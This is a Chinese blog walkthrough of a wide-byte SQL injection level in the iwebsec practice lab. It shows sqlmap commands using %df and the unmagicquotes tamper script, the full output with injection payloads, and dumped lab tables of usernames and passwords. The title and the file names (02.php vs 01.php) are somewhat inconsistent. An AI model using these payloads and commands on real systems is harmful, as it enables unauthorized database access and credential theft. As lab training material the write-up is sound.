iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客
目录
目录
打开靶场,url为 http://192.168.71.151/sqli/02.php?id=1 如下所示
如下所示,存在宽字节注入漏洞且闭合符号为单引号
首先构造sqlmap语句,url地址为 http://192.168.71.151/sqli/02.php?id=1
很明显直接使用如下语句是不会成功的
sqlmap -u http://192.168.71.151/sqli/02.php?id=1 --current-db --dump --batch
因为这是宽字节注入漏洞,使用默认方法不会渗透成功
将url中的id=1便问id=1%df* ,即将宽字符特征%df加入到参数1后,同时在后面加上*
sqlmap -u http://192.168.71.151/sqli/01.php?id=1%df* --current-db --dump --batch
完整交互过程如下所示
- [21:46:26] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
- URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
- sqlmap identified the following injection point(s) with a total of 1260 HTTP(s) requests:
- ---
- Parameter: #1* (URI)
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
- Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 5388 FROM(SELECT COUNT(*),CONCAT(0x7178707a71,(SELECT (ELT(5388=5388,1))),0x7171767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
-
- Type: time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
- Payload: http://192.168.71.151:80/sqli/01.php?id=1%df AND (SELECT 2061 FROM (SELECT(SLEEP(5)))lOnr)
-
- Type: UNION query
- Title: MySQL UNION query (random number) - 3 columns
- Payload: http://192.168.71.151:80/sqli/01.php?id=-7105 UNION ALL SELECT CONCAT(0x7178707a71,0x706b715151526771476f687a6e4c71617a504e4e5a644541656d6b4f45757642636c43795276784f,0x7171767a71),9687,9687#
- ---
- [21:46:26] [INFO] the back-end DBMS is MySQL
- web server operating system: Linux CentOS 6
- web application technology: Apache 2.2.15, PHP 5.2.17
- back-end DBMS: MySQL >= 5.0
- [21:46:26] [INFO] fetching current database
- current database: 'iwebsec'
- [21:46:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
- [21:46:26] [INFO] fetching current database
- [21:46:26] [INFO] fetching tables for database: 'iwebsec'
- [21:46:26] [INFO] retrieved: 'sqli'
- [21:46:26] [INFO] retrieved: 'user'
- [21:46:27] [INFO] retrieved: 'users'
- [21:46:27] [INFO] retrieved: 'xss'
- [21:46:27] [INFO] fetching columns for table 'xss' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: 'id','int(11)'
- [21:46:27] [INFO] retrieved: 'name','varchar(255)'
- [21:46:27] [INFO] fetching entries for table 'xss' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: '7',''
- [21:46:27] [INFO] retrieved: '6',''
- [21:46:27] [INFO] retrieved: '5',''
- [21:46:27] [INFO] retrieved: '1','iwebsec'
- [21:46:27] [INFO] retrieved: '8',''
- Database: iwebsec
- Table: xss
- [5 entries]
- +----+------------------------------------+
- | id | name |
- +----+------------------------------------+
- | 7 | <img src=1 onerror=alert(/ctfs/)/> |
- | 6 | <img src=1 onerror=alert(/ctfs/)/> |
- | 5 | <img src=1 onerror=alert(/ctfs/)/> |
- | 1 | iwebsec |
- | 8 | <?php phpinfo();?> |
- +----+------------------------------------+
-
- [21:46:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
- [21:46:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: 'id','int(11)'
- [21:46:27] [INFO] retrieved: 'username','varchar(255)'
- [21:46:27] [INFO] retrieved: 'password','varchar(255)'
- [21:46:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: '1','pass1','user1'
- [21:46:27] [INFO] retrieved: '2','pass2','user2'
- [21:46:27] [INFO] retrieved: '3','pass3','user3'
- Database: iwebsec
- Table: user
- [3 entries]
- +----+----------+----------+
- | id | password | username |
- +----+----------+----------+
- | 1 | pass1 | user1 |
- | 2 | pass2 | user2 |
- | 3 | pass3 | user3 |
- +----+----------+----------+
-
- [21:46:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
- [21:46:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: 'username','varchar(255)'
- [21:46:27] [INFO] retrieved: 'password','varchar(255)'
- [21:46:27] [INFO] retrieved: 'role','varchar(255)'
- [21:46:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
- Database: iwebsec
- Table: users
- [1 entry]
- +-------+-------------+----------+
- | role | password | username |
- +-------+-------------+----------+
- | admin | mall123mall | orange |
- +-------+-------------+----------+
-
- [21:46:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
- [21:46:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: 'id','int(11)'
- [21:46:27] [INFO] retrieved: 'username','varchar(255)'
- [21:46:27] [INFO] retrieved: 'password','varchar(255)'
- [21:46:27] [INFO] retrieved: 'email','varchar(255)'
- [21:46:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
- [21:46:27] [INFO] retrieved: 'user1@iwebsec.com','1','pass1','user1'
- [21:46:27] [INFO] retrieved: 'user2@iwebsec.com','2','pass2','user2'
- [21:46:27] [INFO] retrieved: 'user3@iwebsec.com','3','pass3','user3'
- [21:46:27] [INFO] retrieved: 'user4@iwebsec.com','4','admin','admin'
- [21:46:27] [INFO] retrieved: '123@123.com','5','123','123'
- [21:46:27] [INFO] retrieved: '1234@123.com','6','123','ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
- [21:46:27] [INFO] retrieved: 'iwebsec02@iwebsec.com','7','123456','iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
- Database: iwebsec
- Table: sqli
- [7 entries]
- +----+-----------------------+----------+------------------------------------------------------+
- | id | email | password | username |
- +----+-----------------------+----------+------------------------------------------------------+
- | 1 | user1@iwebsec.com | pass1 | user1 |
- | 2 | user2@iwebsec.com | pass2 | user2 |
- | 3 | user3@iwebsec.com | pass3 | user3 |
- | 4 | user4@iwebsec.com | admin | admin |
- | 5 | 123@123.com | 123 | 123 |
- | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
- | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
- +----+-----------------------+----------+------------------------------------------------------+
-
- [21:46:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
- [21:46:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
- [21:46:27] [WARNING] your sqlmap version is outdated
-
- [*] ending @ 21:46:27 /2022-11-24/
增加宽字符脚本 --tamper unmagicquotes
sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch --tamper unmagicquotes
完整交互如下所示
- kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch --tamper unmagicquotes
- ___
- __H__
- ___ ___[)]_____ ___ ___ {1.5.11#stable}
- |_ -| . ['] | .'| . |
- |___|_ [.]_|_|_|__,| _|
- |_|V... |_| https://sqlmap.org
-
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting @ 21:53:15 /2022-11-24/
- [21:53:15] [INFO] loading tamper module 'unmagicquotes'
- [21:53:15] [INFO] resuming back-end DBMS 'mysql'
- [21:53:15] [INFO] testing connection to the target URL
- sqlmap resumed the following injection point(s) from stored session:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: Boolean-based blind - Parameter replace (original value)
- Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
- Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
- Type: time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
- Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)
- Type: UNION query
- Title: Generic UNION query (NULL) - 3 columns
- Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
- ---
- [21:53:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
- [21:53:15] [INFO] the back-end DBMS is MySQL
- web server operating system: Linux CentOS 6
- web application technology: PHP 5.2.17, Apache 2.2.15
- back-end DBMS: MySQL >= 5.0
- [21:53:15] [INFO] fetching current database
- current database: 'iwebsec'
- [21:53:15] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
- [21:53:15] [INFO] fetching current database
- [21:53:15] [INFO] fetching tables for database: 'iwebsec'
- [21:53:15] [INFO] fetching columns for table 'user' in database 'iwebsec'
- [21:53:15] [INFO] fetching entries for table 'user' in database 'iwebsec'
- Database: iwebsec
- Table: user
- [3 entries]
- +----+----------+----------+
- | id | password | username |
- +----+----------+----------+
- | 1 | pass1 | user1 |
- | 2 | pass2 | user2 |
- | 3 | pass3 | user3 |
- +----+----------+----------+
- [21:53:15] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
- [21:53:15] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
- [21:53:15] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
- Database: iwebsec
- Table: sqli
- [7 entries]
- +----+-----------------------+----------+------------------------------------------------------+
- | id | email | password | username |
- +----+-----------------------+----------+------------------------------------------------------+
- | 1 | user1@iwebsec.com | pass1 | user1 |
- | 2 | user2@iwebsec.com | pass2 | user2 |
- | 3 | user3@iwebsec.com | pass3 | user3 |
- | 4 | user4@iwebsec.com | admin | admin |
- | 5 | 123@123.com | 123 | 123 |
- | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
- | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
- +----+-----------------------+----------+------------------------------------------------------+
- [21:53:15] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
- [21:53:15] [INFO] fetching columns for table 'xss' in database 'iwebsec'
- [21:53:15] [INFO] fetching entries for table 'xss' in database 'iwebsec'
- Database: iwebsec
- Table: xss
- [5 entries]
- +----+------------------------------------+
- | id | name |
- +----+------------------------------------+
- | 7 | |
- | 6 | |
- | 5 | |
- | 1 | iwebsec |
- | 8 | |
- +----+------------------------------------+
- [21:53:15] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
- [21:53:15] [INFO] fetching columns for table 'users' in database 'iwebsec'
- [21:53:15] [INFO] fetching entries for table 'users' in database 'iwebsec'
- Database: iwebsec
- Table: users
- [1 entry]
- +-------+-------------+----------+
- | role | password | username |
- +-------+-------------+----------+
- | admin | mall123mall | orange |
- +-------+-------------+----------+
- [21:53:15] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
- [21:53:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
- [21:53:15] [WARNING] your sqlmap version is outdated
- [*] ending @ 21:53:15 /2022-11-24/
bp抓包,将报文保存为iwebsec02.txt
修改iwebsec02.txt,将id=1修改为id=1%df'* 如下图所示
注意:根据源码分析这里面的%df是宽字节,'是单引号闭合,*则加在闭合的'后面,告知sqlmap这里为注入点,于是注入语句为
sqlmap -r iwebsec02.txt --current-db --dump --batch
如下所示,注入成功
由于sqlmap的完整交互过程前面已有,故而这里并不将完整过程再次列出。
本次渗透的关卡为字符型注入,其实总结来讲本关卡的难度相对而言作为第二关有些难度。
通过源码再来分析下SQL注入重点内容:
(1)闭合方式是什么?iwebsec的第02关关卡为字符型,闭合方式为单引号
(2)注入类别是什么?这部分是宽字节型注入,需要使用%df
(3)是否过滤了关键字?很明显通过源码,iwebsec的字符型关卡无过滤任何信息
了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的第2关注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。